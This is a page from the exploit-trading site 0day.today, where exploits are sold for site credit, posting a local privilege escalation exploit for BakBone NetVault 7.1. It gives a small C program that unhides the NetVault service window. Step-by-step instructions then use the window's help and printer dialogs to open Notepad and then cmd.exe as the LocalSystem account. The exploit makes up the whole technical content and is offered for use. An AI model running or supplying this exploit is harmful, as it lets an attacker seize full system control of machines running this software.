0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
BakBone NetVault 7.1 Local Privilege Escalation Exploit
[=======================================================
BakBone NetVault 7.1 Local Privilege Escalation Exploit
=======================================================
// ===== Start UnhideNetVaultServiceWindow.c ======
#include <stdio.h>
#include <windows.h>
int main( void )
{
HWND hWnd;
char szWindowName[] = "C:\\Program Files\\BakBone Software\\NetVault\\bin\\nvstatsmngr.exe";
printf( "Finding window %s\n", szWindowName );
hWnd = FindWindow( NULL, szWindowName );
if ( hWnd == NULL )
{
printf( "ERROR! Could not find window %s\n", szWindowName );
exit( 1 );
}
ShowWindow( hWnd, SW_SHOW );
return 0;
}
// ===== End UnhideNetVaultServiceWindow.c ======
/*
1. The C:\Program Files\BakBone Software\NetVault\bin\nvstatsmngr.exe window will
appear. Access the window menu in the upper left and click Properties.
2. Right click on the word Window under the Display Options and click What's This?
3. Right click on the help text that is shown in yellow and click Print Topic.
4. Right click on any printer and click Open.
5. Click Help, Help Topics.
6. Right click in the right side of the help screen and click View Source.
7. Notepad will appear (running under the context of the LocalSystem account).
Click File, click Open.
8. Change Files of type: to All Files, navigate to the system32 directory and
locate cmd.exe. Right click cmd.exe and choose Open.
The result is a command prompt running under the context of the LocalSystem
account.
*/
# 0day.today [2024-12-24] #